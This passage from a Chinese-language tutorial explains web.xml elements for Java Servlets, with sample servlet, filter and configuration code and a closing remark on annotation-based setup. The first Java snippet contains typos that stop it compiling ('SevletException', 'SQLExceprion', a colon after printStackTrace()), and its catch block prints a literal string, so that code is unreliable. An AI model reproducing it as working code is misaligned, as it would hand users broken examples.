    例如使用<init-param>来初始化数据库连接参数:

    public void init(ServletConfig config) throws SevletException{
        super(config);
        String driver = config.getInitParameter("driver");
        String url = config.getInitParameter("url");
        String username = config.getInitParameter("username");
        String passwd = config.getInitParameter("passwd");
        try{
            Class.forName(driver).newInstance();
            this.conn = DriverManager.getConnection(url, username, passwd);
            System.out.println("Connection successful...");
        } catch(SQLExceprion se){
            System.out.println("se");
        } catch(Exception e){
            e.printStackTrace():
        }
        
    }
    

    此时servlet配置为:

    <servlet>
        <servlet-name>myServlet</servlet-name>
        <servlet-class>*.myservlet</servlet-class>
        <init-param>
            <param-name>driver</param-name>
            <param-value>com.mysql.jdbc.Driver</param-value>
        </init-param>
        <init-param>
            <param-name>url</param-name>
            <param-value>jdbc:mysql://localhost:3306/myDatabase</param-value>
        </init-param>
        <init-param>
            <param-name>username</param-name>
            <param-value>tang</param-value>
        </init-param>
        <init-param>
            <param-name>passwd</param-name>
            <param-value>whu</param-value>
        </init-param>
    </servlet>
    
  • <load-on-startup>:指定当Web应用启动时,装载Servlet的次序。

    当值为正数或零时:Servlet容器先加载数值小的servlet,再依次加载其他数值大的servlet。

    当值为负或未定义:Servlet容器将在Web客户首次访问这个servlet时加载它。

  • <servlet-mapping>:用来定义servlet所对应的URL,包含两个子元素。

    • <servlet-name>:指定servlet的名称
    • <url-pattern>:指定servlet所对应的URL
  • <filter>:配置过滤器,包含两个子元素。

    • <filter-name>:指定过滤器名称。
    • **<filter-class>**:指定实现过滤器的类。
  • <filter-mapping>:映射过滤器,包含两个子元素。

    • <filter-name>:指定应用的过滤器。
    • <url-pattern>:拦截的url模式。

filter应用例:

<!-- 1. 定义过滤器 -->
<filter>
    <filter-name>MyFilter</filter-name>
    <filter-class>com.example.MyFilter</filter-class>
    <!-- 可选:初始化参数 -->
    <init-param>
        <param-name>encoding</param-name>
        <param-value>UTF-8</param-value>
    </init-param>
</filter>

<!-- 2. 映射过滤器 -->
<filter-mapping>
    <filter-name>MyFilter</filter-name>
    <!-- 拦截的URL模式 -->
    <url-pattern>/*</url-pattern>
    <!-- 可选:指定拦截的请求类型(默认REQUEST) -->
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
public class MyFilter implements Filter {
    private String encoding;
    
    @Override
    public void init(FilterConfig config) throws ServletException {
        // 读取初始化参数(<init-param>)
        this.encoding = config.getInitParameter("encoding");
        System.out.println("Filter初始化,编码设置为:" + encoding);
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        // 1. 预处理请求
        request.setCharacterEncoding(encoding);
        response.setCharacterEncoding(encoding);

        // 2. 执行后续操作(如调用下一个过滤器或Servlet)
        chain.doFilter(request, response);

        // 3. 后处理响应
        System.out.println("请求处理完成,响应已返回");
    }

    @Override
    public void destroy() {
        // 清理资源
        System.out.println("Filter销毁");
    }
}
  • <error-page>:配置错误页面,有如下常用子元素

    • <error-code>:设定发生何错误时触发(根据错误码)
    • <location>:设定重定向到何页面
  • **<listener>**:设定侦听器

    • <listener-class>:指定实现了侦听器的类。
  • <context-param>:定义所谓上下文配置,可以理解为全局参数。用法和<init-param>基本已知,但<init-param>定义的参数只能使用在servlet类的init()方法中调用。

  • <session-config>:用于设定session相关配置。

  • <security-constraint>:用于设定安全相关的配置。

#Servlet 3.0+ 基于注解方式配置

  在 Servlet 3.0 之后( Tomcat7+)可以使用注解方式配置 Servlet 了,在任意的Java类添加javax.servlet.annotation.WebServlet注解即可。

  基于注解的方式配置Servlet实质上是对基于web.xml方式配置的简化,极大的简化了Servlet的配置方式,但是也提升了对Servlet配置管理的难度,因为我们不得不去查找所有包含了@WebServlet注解的类来寻找Servlet的定义,而不再只是查看web.xml中的servlet标签配置。

现在大多是通过注解来配置,xml形式太过冗杂。